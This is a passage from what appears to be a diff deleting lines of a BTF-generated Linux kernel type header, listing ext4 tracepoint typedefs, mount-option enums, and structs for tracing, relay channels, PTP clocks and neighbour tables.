(*btf_trace_ext4_alloc_da_blocks)(void *, struct inode *); - -typedef void (*btf_trace_ext4_mballoc_alloc)(void *, struct ext4_allocation_context *); - -typedef void (*btf_trace_ext4_mballoc_prealloc)(void *, struct ext4_allocation_context *); - -typedef void (*btf_trace_ext4_mballoc_discard)(void *, struct super_block *, struct inode *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); - -typedef void (*btf_trace_ext4_mballoc_free)(void *, struct super_block *, struct inode *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); - -typedef void (*btf_trace_ext4_forget)(void *, struct inode *, int, __u64); - -typedef void (*btf_trace_ext4_da_update_reserve_space)(void *, struct inode *, int, int); - -typedef void (*btf_trace_ext4_da_reserve_space)(void *, struct inode *); - -typedef void (*btf_trace_ext4_da_release_space)(void *, struct inode *, int); - -typedef void (*btf_trace_ext4_mb_bitmap_load)(void *, struct super_block *, long unsigned int); - -typedef void (*btf_trace_ext4_mb_buddy_bitmap_load)(void *, struct super_block *, long unsigned int); - -typedef void (*btf_trace_ext4_load_inode_bitmap)(void *, struct super_block *, long unsigned int); - -typedef void (*btf_trace_ext4_read_block_bitmap_load)(void *, struct super_block *, long unsigned int, bool); - -typedef void (*btf_trace_ext4_fallocate_enter)(void *, struct inode *, loff_t, loff_t, int); - -typedef void (*btf_trace_ext4_punch_hole)(void *, struct inode *, loff_t, loff_t, int); - -typedef void (*btf_trace_ext4_zero_range)(void *, struct inode *, loff_t, loff_t, int); - -typedef void (*btf_trace_ext4_fallocate_exit)(void *, struct inode *, loff_t, unsigned int, int); - -typedef void (*btf_trace_ext4_unlink_enter)(void *, struct inode *, struct dentry *); - -typedef void (*btf_trace_ext4_unlink_exit)(void *, struct dentry *, int); - -typedef void (*btf_trace_ext4_truncate_enter)(void *, struct inode *); - -typedef void (*btf_trace_ext4_truncate_exit)(void *, struct inode *); - -typedef void (*btf_trace_ext4_ext_convert_to_initialized_enter)(void *, struct inode *, struct ext4_map_blocks *, struct ext4_extent *); - -typedef void (*btf_trace_ext4_ext_convert_to_initialized_fastpath)(void *, struct inode *, struct ext4_map_blocks *, struct ext4_extent *, struct ext4_extent *); - -typedef void (*btf_trace_ext4_ext_map_blocks_enter)(void *, struct inode *, ext4_lblk_t, unsigned int, unsigned int); - -typedef void (*btf_trace_ext4_ind_map_blocks_enter)(void *, struct inode *, ext4_lblk_t, unsigned int, unsigned int); - -typedef void (*btf_trace_ext4_ext_map_blocks_exit)(void *, struct inode *, unsigned int, struct ext4_map_blocks *, int); - -typedef void (*btf_trace_ext4_ind_map_blocks_exit)(void *, struct inode *, unsigned int, struct ext4_map_blocks *, int); - -typedef void (*btf_trace_ext4_ext_load_extent)(void *, struct inode *, ext4_lblk_t, ext4_fsblk_t); - -typedef void (*btf_trace_ext4_load_inode)(void *, struct super_block *, long unsigned int); - -typedef void (*btf_trace_ext4_journal_start)(void *, struct super_block *, int, int, int, long unsigned int); - -typedef void (*btf_trace_ext4_journal_start_reserved)(void *, struct super_block *, int, long unsigned int); - -typedef void (*btf_trace_ext4_trim_extent)(void *, struct super_block *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); - -typedef void (*btf_trace_ext4_trim_all_free)(void *, struct super_block *, ext4_group_t, ext4_grpblk_t, ext4_grpblk_t); - -typedef void (*btf_trace_ext4_ext_handle_unwritten_extents)(void *, struct inode *, struct ext4_map_blocks *, int, unsigned int, ext4_fsblk_t); - -typedef void (*btf_trace_ext4_get_implied_cluster_alloc_exit)(void *, struct super_block *, struct ext4_map_blocks *, int); - -typedef void (*btf_trace_ext4_ext_show_extent)(void *, struct inode *, ext4_lblk_t, ext4_fsblk_t, short unsigned int); - -typedef void (*btf_trace_ext4_remove_blocks)(void *, struct inode *, struct ext4_extent *, ext4_lblk_t, ext4_fsblk_t, struct partial_cluster *); - -typedef void (*btf_trace_ext4_ext_rm_leaf)(void *, struct inode *, ext4_lblk_t, struct ext4_extent *, struct partial_cluster *); - -typedef void (*btf_trace_ext4_ext_rm_idx)(void *, struct inode *, ext4_fsblk_t); - -typedef void (*btf_trace_ext4_ext_remove_space)(void *, struct inode *, ext4_lblk_t, ext4_lblk_t, int); - -typedef void (*btf_trace_ext4_ext_remove_space_done)(void *, struct inode *, ext4_lblk_t, ext4_lblk_t, int, struct partial_cluster *, __le16); - -typedef void (*btf_trace_ext4_es_insert_extent)(void *, struct inode *, struct extent_status *); - -typedef void (*btf_trace_ext4_es_cache_extent)(void *, struct inode *, struct extent_status *); - -typedef void (*btf_trace_ext4_es_remove_extent)(void *, struct inode *, ext4_lblk_t, ext4_lblk_t); - -typedef void (*btf_trace_ext4_es_find_extent_range_enter)(void *, struct inode *, ext4_lblk_t); - -typedef void (*btf_trace_ext4_es_find_extent_range_exit)(void *, struct inode *, struct extent_status *); - -typedef void (*btf_trace_ext4_es_lookup_extent_enter)(void *, struct inode *, ext4_lblk_t); - -typedef void (*btf_trace_ext4_es_lookup_extent_exit)(void *, struct inode *, struct extent_status *, int); - -typedef void (*btf_trace_ext4_es_shrink_count)(void *, struct super_block *, int, int); - -typedef void (*btf_trace_ext4_es_shrink_scan_enter)(void *, struct super_block *, int, int); - -typedef void (*btf_trace_ext4_es_shrink_scan_exit)(void *, struct super_block *, int, int); - -typedef void (*btf_trace_ext4_collapse_range)(void *, struct inode *, loff_t, loff_t); - -typedef void (*btf_trace_ext4_insert_range)(void *, struct inode *, loff_t, loff_t); - -typedef void (*btf_trace_ext4_es_shrink)(void *, struct super_block *, int, u64, int, int); - -typedef void (*btf_trace_ext4_es_insert_delayed_block)(void *, struct inode *, struct extent_status *, bool); - -typedef void (*btf_trace_ext4_fsmap_low_key)(void *, struct super_block *, u32, u32, u64, u64, u64); - -typedef void (*btf_trace_ext4_fsmap_high_key)(void *, struct super_block *, u32, u32, u64, u64, u64); - -typedef void (*btf_trace_ext4_fsmap_mapping)(void *, struct super_block *, u32, u32, u64, u64, u64); - -typedef void (*btf_trace_ext4_getfsmap_low_key)(void *, struct super_block *, struct ext4_fsmap *); - -typedef void (*btf_trace_ext4_getfsmap_high_key)(void *, struct super_block *, struct ext4_fsmap *); - -typedef void (*btf_trace_ext4_getfsmap_mapping)(void *, struct super_block *, struct ext4_fsmap *); - -typedef void (*btf_trace_ext4_shutdown)(void *, struct super_block *, long unsigned int); - -typedef void (*btf_trace_ext4_error)(void *, struct super_block *, const char *, unsigned int); - -typedef void (*btf_trace_ext4_prefetch_bitmaps)(void *, struct super_block *, ext4_group_t, ext4_group_t, unsigned int); - -typedef void (*btf_trace_ext4_lazy_itable_init)(void *, struct super_block *, ext4_group_t); - -typedef void (*btf_trace_ext4_fc_replay_scan)(void *, struct super_block *, int, int); - -typedef void (*btf_trace_ext4_fc_replay)(void *, struct super_block *, int, int, int, int); - -typedef void (*btf_trace_ext4_fc_commit_start)(void *, struct super_block *, tid_t); - -typedef void (*btf_trace_ext4_fc_commit_stop)(void *, struct super_block *, int, int, tid_t); - -typedef void (*btf_trace_ext4_fc_stats)(void *, struct super_block *); - -typedef void (*btf_trace_ext4_fc_track_create)(void *, handle_t *, struct inode *, struct dentry *, int); - -typedef void (*btf_trace_ext4_fc_track_link)(void *, handle_t *, struct inode *, struct dentry *, int); - -typedef void (*btf_trace_ext4_fc_track_unlink)(void *, handle_t *, struct inode *, struct dentry *, int); - -typedef void (*btf_trace_ext4_fc_track_inode)(void *, handle_t *, struct inode *, int); - -typedef void (*btf_trace_ext4_fc_track_range)(void *, handle_t *, struct inode *, long int, long int, int); - -typedef void (*btf_trace_ext4_fc_cleanup)(void *, journal_t *, int, tid_t); - -typedef void (*btf_trace_ext4_update_sb)(void *, struct super_block *, ext4_fsblk_t, unsigned int); - -struct ext4_err_translation { - int code; - int errno; -}; - -enum { - Opt_bsd_df = 0, - Opt_minix_df = 1, - Opt_grpid = 2, - Opt_nogrpid = 3, - Opt_resgid = 4, - Opt_resuid = 5, - Opt_sb = 6, - Opt_nouid32 = 7, - Opt_debug = 8, - Opt_removed = 9, - Opt_user_xattr = 10, - Opt_acl = 11, - Opt_auto_da_alloc = 12, - Opt_noauto_da_alloc = 13, - Opt_noload = 14, - Opt_commit = 15, - Opt_min_batch_time = 16, - Opt_max_batch_time = 17, - Opt_journal_dev = 18, - Opt_journal_path = 19, - Opt_journal_checksum = 20, - Opt_journal_async_commit = 21, - Opt_abort = 22, - Opt_data_journal = 23, - Opt_data_ordered = 24, - Opt_data_writeback = 25, - Opt_data_err_abort = 26, - Opt_data_err_ignore = 27, - Opt_test_dummy_encryption = 28, - Opt_inlinecrypt = 29, - Opt_usrjquota = 30, - Opt_grpjquota = 31, - Opt_quota = 32, - Opt_noquota = 33, - Opt_barrier = 34, - Opt_nobarrier = 35, - Opt_err___3 = 36, - Opt_usrquota = 37, - Opt_grpquota = 38, - Opt_prjquota = 39, - Opt_dax = 40, - Opt_dax_always = 41, - Opt_dax_inode = 42, - Opt_dax_never = 43, - Opt_stripe = 44, - Opt_delalloc = 45, - Opt_nodelalloc = 46, - Opt_warn_on_error = 47, - Opt_nowarn_on_error = 48, - Opt_mblk_io_submit = 49, - Opt_debug_want_extra_isize = 50, - Opt_nomblk_io_submit = 51, - Opt_block_validity = 52, - Opt_noblock_validity = 53, - Opt_inode_readahead_blks = 54, - Opt_journal_ioprio = 55, - Opt_dioread_nolock = 56, - Opt_dioread_lock = 57, - Opt_discard = 58, - Opt_nodiscard = 59, - Opt_init_itable = 60, - Opt_noinit_itable = 61, - Opt_max_dir_size_kb = 62, - Opt_nojournal_checksum = 63, - Opt_nombcache = 64, - Opt_no_prefetch_block_bitmaps = 65, - Opt_mb_optimize_scan = 66, - Opt_errors = 67, - Opt_data = 68, - Opt_data_err = 69, - Opt_jqfmt = 70, - Opt_dax_type = 71, -}; - -struct mount_opts { - int token; - int mount_opt; - int flags; -}; - -struct ext4_fs_context { - char *s_qf_names[3]; - struct fscrypt_dummy_policy dummy_enc_policy; - int s_jquota_fmt; - short unsigned int qname_spec; - long unsigned int vals_s_flags; - long unsigned int mask_s_flags; - long unsigned int journal_devnum; - long unsigned int s_commit_interval; - long unsigned int s_stripe; - unsigned int s_inode_readahead_blks; - unsigned int s_want_extra_isize; - unsigned int s_li_wait_mult; - unsigned int s_max_dir_size_kb; - unsigned int journal_ioprio; - unsigned int vals_s_mount_opt; - unsigned int mask_s_mount_opt; - unsigned int vals_s_mount_opt2; - unsigned int mask_s_mount_opt2; - long unsigned int vals_s_mount_flags; - long unsigned int mask_s_mount_flags; - unsigned int opt_flags; - unsigned int spec; - u32 s_max_batch_time; - u32 s_min_batch_time; - kuid_t s_resuid; - kgid_t s_resgid; - ext4_fsblk_t s_sb_block; -}; - -struct ext4_mount_options { - long unsigned int s_mount_opt; - long unsigned int s_mount_opt2; - kuid_t s_resuid; - kgid_t s_resgid; - long unsigned int s_commit_interval; - u32 s_min_batch_time; - u32 s_max_batch_time; -}; - -struct subprocess_info { - struct work_struct work; - struct completion *complete; - const char *path; - char **argv; - char **envp; - int wait; - int retval; - int (*init)(struct subprocess_info *, struct cred *); - void (*cleanup)(struct subprocess_info *); - void *data; -}; - -enum vmx_feature_leafs { - MISC_FEATURES = 0, - PRIMARY_CTLS = 1, - SECONDARY_CTLS = 2, - TERTIARY_CTLS_LOW = 3, - TERTIARY_CTLS_HIGH = 4, - NR_VMX_FEATURE_WORDS = 5, -}; - -typedef struct { - u16 __softirq_pending; - unsigned int __nmi_count; - unsigned int apic_timer_irqs; - unsigned int irq_spurious_count; - unsigned int icr_read_retry_count; - unsigned int kvm_posted_intr_ipis; - unsigned int kvm_posted_intr_wakeup_ipis; - unsigned int kvm_posted_intr_nested_ipis; - unsigned int x86_platform_ipis; - unsigned int apic_perf_irqs; - unsigned int apic_irq_work_irqs; - unsigned int irq_resched_count; - unsigned int irq_call_count; - unsigned int irq_tlb_count; - unsigned int irq_thermal_count; - unsigned int irq_threshold_count; - unsigned int irq_deferred_error_count; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -} irq_cpustat_t; - -typedef bool (*smp_cond_func_t)(int, void *); - -enum trace_flag_type { - TRACE_FLAG_IRQS_OFF = 1, - TRACE_FLAG_IRQS_NOSUPPORT = 2, - TRACE_FLAG_NEED_RESCHED = 4, - TRACE_FLAG_HARDIRQ = 8, - TRACE_FLAG_SOFTIRQ = 16, - TRACE_FLAG_PREEMPT_RESCHED = 32, - TRACE_FLAG_NMI = 64, - TRACE_FLAG_BH_OFF = 128, -}; - -enum { - TRACE_PIDS = 1, - TRACE_NO_PIDS = 2, -}; - -struct ftrace_func_command { - struct list_head list; - char *name; - int (*func)(struct trace_array *, struct ftrace_hash *, char *, char *, char *, int); -}; - -struct ftrace_probe_ops { - void (*func)(long unsigned int, long unsigned int, struct trace_array *, struct ftrace_probe_ops *, void *); - int (*init)(struct ftrace_probe_ops *, struct trace_array *, long unsigned int, void *, void **); - void (*free)(struct ftrace_probe_ops *, struct trace_array *, long unsigned int, void *); - int (*print)(struct seq_file *, long unsigned int, struct ftrace_probe_ops *, void *); -}; - -typedef int (*ftrace_mapper_func)(void *); - -struct trace_parser { - bool cont; - char *buffer; - unsigned int idx; - unsigned int size; -}; - -enum trace_iterator_flags { - TRACE_ITER_PRINT_PARENT = 1, - TRACE_ITER_SYM_OFFSET = 2, - TRACE_ITER_SYM_ADDR = 4, - TRACE_ITER_VERBOSE = 8, - TRACE_ITER_RAW = 16, - TRACE_ITER_HEX = 32, - TRACE_ITER_BIN = 64, - TRACE_ITER_BLOCK = 128, - TRACE_ITER_PRINTK = 256, - TRACE_ITER_ANNOTATE = 512, - TRACE_ITER_USERSTACKTRACE = 1024, - TRACE_ITER_SYM_USEROBJ = 2048, - TRACE_ITER_PRINTK_MSGONLY = 4096, - TRACE_ITER_CONTEXT_INFO = 8192, - TRACE_ITER_LATENCY_FMT = 16384, - TRACE_ITER_RECORD_CMD = 32768, - TRACE_ITER_RECORD_TGID = 65536, - TRACE_ITER_OVERWRITE = 131072, - TRACE_ITER_STOP_ON_FREE = 262144, - TRACE_ITER_IRQ_INFO = 524288, - TRACE_ITER_MARKERS = 1048576, - TRACE_ITER_EVENT_FORK = 2097152, - TRACE_ITER_PAUSE_ON_TRACE = 4194304, - TRACE_ITER_HASH_PTR = 8388608, - TRACE_ITER_FUNCTION = 16777216, - TRACE_ITER_FUNC_FORK = 33554432, - TRACE_ITER_DISPLAY_GRAPH = 67108864, - TRACE_ITER_STACKTRACE = 134217728, -}; - -struct module_string { - struct list_head next; - struct module *module; - char *str; -}; - -enum { - FORMAT_HEADER = 1, - FORMAT_FIELD_SEPERATOR = 2, - FORMAT_PRINTFMT = 3, -}; - -struct event_probe_data { - struct trace_event_file *file; - long unsigned int count; - int ref; - bool enable; -}; - -struct ftrace_func_mapper; - -struct page_vma_mapped_walk { - long unsigned int pfn; - long unsigned int nr_pages; - long unsigned int pgoff; - struct vm_area_struct *vma; - long unsigned int address; - pmd_t *pmd; - pte_t *pte; - spinlock_t *ptl; - unsigned int flags; -}; - -struct memory_tier { - struct list_head list; - struct list_head memory_types; - int adistance_start; - struct device dev; - nodemask_t lower_tier_mask; -}; - -struct kobj_attribute { - struct attribute attr; - ssize_t (*show)(struct kobject *, struct kobj_attribute *, char *); - ssize_t (*store)(struct kobject *, struct kobj_attribute *, const char *, size_t); -}; - -struct memory_notify { - long unsigned int start_pfn; - long unsigned int nr_pages; - int status_change_nid_normal; - int status_change_nid; -}; - -struct memory_dev_type { - struct list_head tier_sibiling; - int adistance; - nodemask_t nodes; - struct kref kref; -}; - -struct demotion_nodes { - nodemask_t preferred; -}; - -struct node_memory_type_map { - struct memory_dev_type *memtype; - int map_count; -}; - -struct file_clone_range { - __s64 src_fd; - __u64 src_offset; - __u64 src_length; - __u64 dest_offset; -}; - -struct file_dedupe_range_info { - __s64 dest_fd; - __u64 dest_offset; - __u64 bytes_deduped; - __s32 status; - __u32 reserved; -}; - -struct file_dedupe_range { - __u64 src_offset; - __u64 src_length; - __u16 dest_count; - __u16 reserved1; - __u32 reserved2; - struct file_dedupe_range_info info[0]; -}; - -struct fsxattr { - __u32 fsx_xflags; - __u32 fsx_extsize; - __u32 fsx_nextents; - __u32 fsx_projid; - __u32 fsx_cowextsize; - unsigned char fsx_pad[8]; -}; - -struct fileattr { - u32 flags; - u32 fsx_xflags; - u32 fsx_extsize; - u32 fsx_nextents; - u32 fsx_projid; - u32 fsx_cowextsize; - bool flags_valid: 1; - bool fsx_valid: 1; -}; - -struct space_resv { - __s16 l_type; - __s16 l_whence; - __s64 l_start; - __s64 l_len; - __s32 l_sysid; - __u32 l_pid; - __s32 l_pad[4]; -}; - -struct fiemap { - __u64 fm_start; - __u64 fm_length; - __u32 fm_flags; - __u32 fm_mapped_extents; - __u32 fm_extent_count; - __u32 fm_reserved; - struct fiemap_extent fm_extents[0]; -}; - -struct wait_bit_key { - void *flags; - int bit_nr; - long unsigned int timeout; -}; - -typedef int wait_bit_action_f(struct wait_bit_key *, int); - -typedef int get_block_t(struct inode *, sector_t, struct buffer_head *, int); - -struct rchan; - -struct blk_trace { - int trace_state; - struct rchan *rchan; - long unsigned int *sequence; - unsigned char *msg_data; - u16 act_mask; - u64 start_lba; - u64 end_lba; - u32 pid; - u32 dev; - struct dentry *dir; - struct list_head running_list; - atomic_t dropped; -}; - -enum page_memcg_data_flags { - MEMCG_DATA_OBJCGS = 1, - MEMCG_DATA_KMEM = 2, - __NR_MEMCG_DATA_FLAGS = 4, -}; - -enum mapping_flags { - AS_EIO = 0, - AS_ENOSPC = 1, - AS_MM_ALL_LOCKS = 2, - AS_UNEVICTABLE = 3, - AS_EXITING = 4, - AS_NO_WRITEBACK_TAGS = 5, - AS_LARGE_FOLIO_SUPPORT = 6, -}; - -struct pagevec { - unsigned char nr; - bool percpu_pvec_drained; - struct page *pages[15]; -}; - -struct folio_batch { - unsigned char nr; - bool percpu_pvec_drained; - struct folio *folios[15]; -}; - -struct rchan_buf { - void *start; - void *data; - size_t offset; - size_t subbufs_produced; - size_t subbufs_consumed; - struct rchan *chan; - wait_queue_head_t read_wait; - struct irq_work wakeup_work; - struct dentry *dentry; - struct kref kref; - struct page **page_array; - unsigned int page_count; - unsigned int finalized; - size_t *padding; - size_t prev_padding; - size_t bytes_consumed; - size_t early_bytes; - unsigned int cpu; - long: 64; - long: 64; - long: 64; -}; - -struct rchan_callbacks; - -struct rchan { - u32 version; - size_t subbuf_size; - size_t n_subbufs; - size_t alloc_size; - const struct rchan_callbacks *cb; - struct kref kref; - void *private_data; - size_t last_toobig; - struct rchan_buf **buf; - int is_global; - struct list_head list; - struct dentry *parent; - int has_base_filename; - char base_filename[255]; -}; - -struct rchan_callbacks { - int (*subbuf_start)(struct rchan_buf *, void *, void *, size_t); - struct dentry * (*create_buf_file)(const char *, struct dentry *, umode_t, struct rchan_buf *, int *); - int (*remove_buf_file)(struct dentry *); -}; - -enum blktrace_act { - __BLK_TA_QUEUE = 1, - __BLK_TA_BACKMERGE = 2, - __BLK_TA_FRONTMERGE = 3, - __BLK_TA_GETRQ = 4, - __BLK_TA_SLEEPRQ = 5, - __BLK_TA_REQUEUE = 6, - __BLK_TA_ISSUE = 7, - __BLK_TA_COMPLETE = 8, - __BLK_TA_PLUG = 9, - __BLK_TA_UNPLUG_IO = 10, - __BLK_TA_UNPLUG_TIMER = 11, - __BLK_TA_INSERT = 12, - __BLK_TA_SPLIT = 13, - __BLK_TA_BOUNCE = 14, - __BLK_TA_REMAP = 15, - __BLK_TA_ABORT = 16, - __BLK_TA_DRV_DATA = 17, - __BLK_TA_CGROUP = 256, -}; - -struct decrypt_bh_ctx { - struct work_struct work; - struct buffer_head *bh; -}; - -struct bh_lru { - struct buffer_head *bhs[16]; -}; - -struct bh_accounting { - int nr; - int ratelimit; -}; - -struct linux_logo { - int type; - unsigned int width; - unsigned int height; - unsigned int clutsize; - const unsigned char *clut; - const unsigned char *data; -}; - -enum { - ACPI_BUTTON_LID_INIT_IGNORE = 0, - ACPI_BUTTON_LID_INIT_OPEN = 1, - ACPI_BUTTON_LID_INIT_METHOD = 2, - ACPI_BUTTON_LID_INIT_DISABLED = 3, -}; - -struct acpi_button { - unsigned int type; - struct input_dev *input; - char phys[32]; - long unsigned int pushed; - int last_state; - ktime_t last_time; - bool suspended; - bool lid_state_initialized; -}; - -struct agp_3_5_dev { - struct list_head list; - u8 capndx; - u32 maxbw; - struct pci_dev *dev; -}; - -struct isoch_data { - u32 maxbw; - u32 n; - u32 y; - u32 l; - u32 rq; - struct agp_3_5_dev *dev; -}; - -struct sync_file { - struct file *file; - char user_name[32]; - struct list_head sync_file_list; - wait_queue_head_t wq; - long unsigned int flags; - struct dma_fence *fence; - struct dma_fence_cb cb; -}; - -struct sync_merge_data { - char name[32]; - __s32 fd2; - __s32 fence; - __u32 flags; - __u32 pad; -}; - -struct sync_fence_info { - char obj_name[32]; - char driver_name[32]; - __s32 status; - __u32 flags; - __u64 timestamp_ns; -}; - -struct sync_file_info { - char name[32]; - __s32 status; - __u32 flags; - __u32 num_fences; - __u32 pad; - __u64 sync_fence_info; -}; - -struct __kernel_timex_timeval { - __kernel_time64_t tv_sec; - long long int tv_usec; -}; - -struct __kernel_timex { - unsigned int modes; - long long int offset; - long long int freq; - long long int maxerror; - long long int esterror; - int status; - long long int constant; - long long int precision; - long long int tolerance; - struct __kernel_timex_timeval time; - long long int tick; - long long int ppsfreq; - long long int jitter; - int shift; - long long int stabil; - long long int jitcnt; - long long int calcnt; - long long int errcnt; - long long int stbcnt; - int tai; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct system_device_crosststamp { - ktime_t device; - ktime_t sys_realtime; - ktime_t sys_monoraw; -}; - -struct posix_clock; - -struct posix_clock_operations { - struct module *owner; - int (*clock_adjtime)(struct posix_clock *, struct __kernel_timex *); - int (*clock_gettime)(struct posix_clock *, struct timespec64 *); - int (*clock_getres)(struct posix_clock *, struct timespec64 *); - int (*clock_settime)(struct posix_clock *, const struct timespec64 *); - long int (*ioctl)(struct posix_clock *, unsigned int, long unsigned int); - int (*open)(struct posix_clock *, fmode_t); - __poll_t (*poll)(struct posix_clock *, struct file *, poll_table *); - int (*release)(struct posix_clock *); - ssize_t (*read)(struct posix_clock *, uint, char *, size_t); -}; - -struct posix_clock { - struct posix_clock_operations ops; - struct cdev cdev; - struct device *dev; - struct rw_semaphore rwsem; - bool zombie; -}; - -struct kthread_work; - -typedef void (*kthread_work_func_t)(struct kthread_work *); - -struct kthread_worker; - -struct kthread_work { - struct list_head node; - kthread_work_func_t func; - struct kthread_worker *worker; - int canceling; -}; - -struct kthread_worker { - unsigned int flags; - raw_spinlock_t lock; - struct list_head work_list; - struct list_head delayed_work_list; - struct task_struct *task; - struct kthread_work *current_work; -}; - -struct kthread_delayed_work { - struct kthread_work work; - struct timer_list timer; -}; - -struct ptp_clock_time { - __s64 sec; - __u32 nsec; - __u32 reserved; -}; - -struct ptp_clock_caps { - int max_adj; - int n_alarm; - int n_ext_ts; - int n_per_out; - int pps; - int n_pins; - int cross_timestamping; - int adjust_phase; - int rsv[12]; -}; - -struct ptp_extts_request { - unsigned int index; - unsigned int flags; - unsigned int rsv[2]; -}; - -struct ptp_perout_request { - union { - struct ptp_clock_time start; - struct ptp_clock_time phase; - }; - struct ptp_clock_time period; - unsigned int index; - unsigned int flags; - union { - struct ptp_clock_time on; - unsigned int rsv[4]; - }; -}; - -struct ptp_sys_offset { - unsigned int n_samples; - unsigned int rsv[3]; - struct ptp_clock_time ts[51]; -}; - -struct ptp_sys_offset_extended { - unsigned int n_samples; - unsigned int rsv[3]; - struct ptp_clock_time ts[75]; -}; - -struct ptp_sys_offset_precise { - struct ptp_clock_time device; - struct ptp_clock_time sys_realtime; - struct ptp_clock_time sys_monoraw; - unsigned int rsv[4]; -}; - -enum ptp_pin_function { - PTP_PF_NONE = 0, - PTP_PF_EXTTS = 1, - PTP_PF_PEROUT = 2, - PTP_PF_PHYSYNC = 3, -}; - -struct ptp_pin_desc { - char name[64]; - unsigned int index; - unsigned int func; - unsigned int chan; - unsigned int rsv[5]; -}; - -struct ptp_extts_event { - struct ptp_clock_time t; - unsigned int index; - unsigned int flags; - unsigned int rsv[2]; -}; - -struct pps_ktime { - __s64 sec; - __s32 nsec; - __u32 flags; -}; - -struct pps_kparams { - int api_version; - int mode; - struct pps_ktime assert_off_tu; - struct pps_ktime clear_off_tu; -}; - -struct pps_device; - -struct pps_source_info { - char name[32]; - char path[32]; - int mode; - void (*echo)(struct pps_device *, int, void *); - struct module *owner; - struct device *dev; -}; - -struct pps_device { - struct pps_source_info info; - struct pps_kparams params; - __u32 assert_sequence; - __u32 clear_sequence; - struct pps_ktime assert_tu; - struct pps_ktime clear_tu; - int current_mode; - unsigned int last_ev; - wait_queue_head_t queue; - unsigned int id; - const void *lookup_cookie; - struct cdev cdev; - struct device *dev; - struct fasync_struct *async_queue; - spinlock_t lock; -}; - -struct ptp_clock_request { - enum { - PTP_CLK_REQ_EXTTS = 0, - PTP_CLK_REQ_PEROUT = 1, - PTP_CLK_REQ_PPS = 2, - } type; - union { - struct ptp_extts_request extts; - struct ptp_perout_request perout; - }; -}; - -struct ptp_system_timestamp { - struct timespec64 pre_ts; - struct timespec64 post_ts; -}; - -struct ptp_clock_info { - struct module *owner; - char name[32]; - s32 max_adj; - int n_alarm; - int n_ext_ts; - int n_per_out; - int n_pins; - int pps; - struct ptp_pin_desc *pin_config; - int (*adjfine)(struct ptp_clock_info *, long int); - int (*adjphase)(struct ptp_clock_info *, s32); - int (*adjtime)(struct ptp_clock_info *, s64); - int (*gettime64)(struct ptp_clock_info *, struct timespec64 *); - int (*gettimex64)(struct ptp_clock_info *, struct timespec64 *, struct ptp_system_timestamp *); - int (*getcrosststamp)(struct ptp_clock_info *, struct system_device_crosststamp *); - int (*settime64)(struct ptp_clock_info *, const struct timespec64 *); - int (*getcycles64)(struct ptp_clock_info *, struct timespec64 *); - int (*getcyclesx64)(struct ptp_clock_info *, struct timespec64 *, struct ptp_system_timestamp *); - int (*getcrosscycles)(struct ptp_clock_info *, struct system_device_crosststamp *); - int (*enable)(struct ptp_clock_info *, struct ptp_clock_request *, int); - int (*verify)(struct ptp_clock_info *, unsigned int, enum ptp_pin_function, unsigned int); - long int (*do_aux_work)(struct ptp_clock_info *); -}; - -struct timestamp_event_queue { - struct ptp_extts_event buf[128]; - int head; - int tail; - spinlock_t lock; -}; - -struct ptp_clock { - struct posix_clock clock; - struct device dev; - struct ptp_clock_info *info; - dev_t devid; - int index; - struct pps_device *pps_source; - long int dialed_frequency; - struct timestamp_event_queue tsevq; - struct mutex tsevq_mux; - struct mutex pincfg_mux; - wait_queue_head_t tsev_wq; - int defunct; - struct device_attribute *pin_dev_attr; - struct attribute **pin_attr; - struct attribute_group pin_attr_group; - const struct attribute_group *pin_attr_groups[2]; - struct kthread_worker *kworker; - struct kthread_delayed_work aux_work; - unsigned int max_vclocks; - unsigned int n_vclocks; - int *vclock_index; - struct mutex n_vclocks_mux; - bool is_virtual_clock; - bool has_cycles; -}; - -typedef __kernel_clock_t clock_t; - -enum { - NDA_UNSPEC = 0, - NDA_DST = 1, - NDA_LLADDR = 2, - NDA_CACHEINFO = 3, - NDA_PROBES = 4, - NDA_VLAN = 5, - NDA_PORT = 6, - NDA_VNI = 7, - NDA_IFINDEX = 8, - NDA_MASTER = 9, - NDA_LINK_NETNSID = 10, - NDA_SRC_VNI = 11, - NDA_PROTOCOL = 12, - NDA_NH_ID = 13, - NDA_FDB_EXT_ATTRS = 14, - NDA_FLAGS_EXT = 15, - NDA_NDM_STATE_MASK = 16, - NDA_NDM_FLAGS_MASK = 17, - __NDA_MAX = 18, -}; - -struct nda_cacheinfo { - __u32 ndm_confirmed; - __u32 ndm_used; - __u32 ndm_updated; - __u32 ndm_refcnt; -}; - -struct ndt_stats { - __u64 ndts_allocs; - __u64 ndts_destroys; - __u64 ndts_hash_grows; - __u64 ndts_res_failed; - __u64 ndts_lookups; - __u64 ndts_hits; - __u64 ndts_rcv_probes_mcast; - __u64 ndts_rcv_probes_ucast; - __u64 ndts_periodic_gc_runs; - __u64 ndts_forced_gc_runs; - __u64 ndts_table_fulls; -}; - -enum { - NDTPA_UNSPEC = 0, - NDTPA_IFINDEX = 1, - NDTPA_REFCNT = 2, - NDTPA_REACHABLE_TIME = 3, - NDTPA_BASE_REACHABLE_TIME = 4, - NDTPA_RETRANS_TIME = 5, - NDTPA_GC_STALETIME = 6, - NDTPA_DELAY_PROBE_TIME = 7, - NDTPA_QUEUE_LEN = 8, - NDTPA_APP_PROBES = 9, - NDTPA_UCAST_PROBES = 10, - NDTPA_MCAST_PROBES = 11, - NDTPA_ANYCAST_DELAY = 12, - NDTPA_PROXY_DELAY = 13, - NDTPA_PROXY_QLEN = 14, - NDTPA_LOCKTIME = 15, - NDTPA_QUEUE_LENBYTES = 16, - NDTPA_MCAST_REPROBES = 17, - NDTPA_PAD = 18, - NDTPA_INTERVAL_PROBE_TIME_MS = 19, - __NDTPA_MAX = 20, -}; - -struct ndtmsg { - __u8 ndtm_family; - __u8 ndtm_pad1; - __u16 ndtm_pad2; -}; - -struct ndt_config { - __u16 ndtc_key_len; - __u16 ndtc_entry_size; - __u32 ndtc_entries; - __u32 ndtc_last_flush; - __u32 ndtc_last_rand; - __u32 ndtc_hash_rnd; - __u32 ndtc_hash_mask; - __u32 ndtc_hash_chain_gc; - __u32 ndtc_proxy_qlen; -}; - -enum { - NDTA_UNSPEC = 0, - NDTA_NAME = 1, - NDTA_THRESH1 = 2, - NDTA_THRESH2 = 3, - NDTA_THRESH3 = 4, - NDTA_CONFIG = 5, - NDTA_PARMS = 6, - 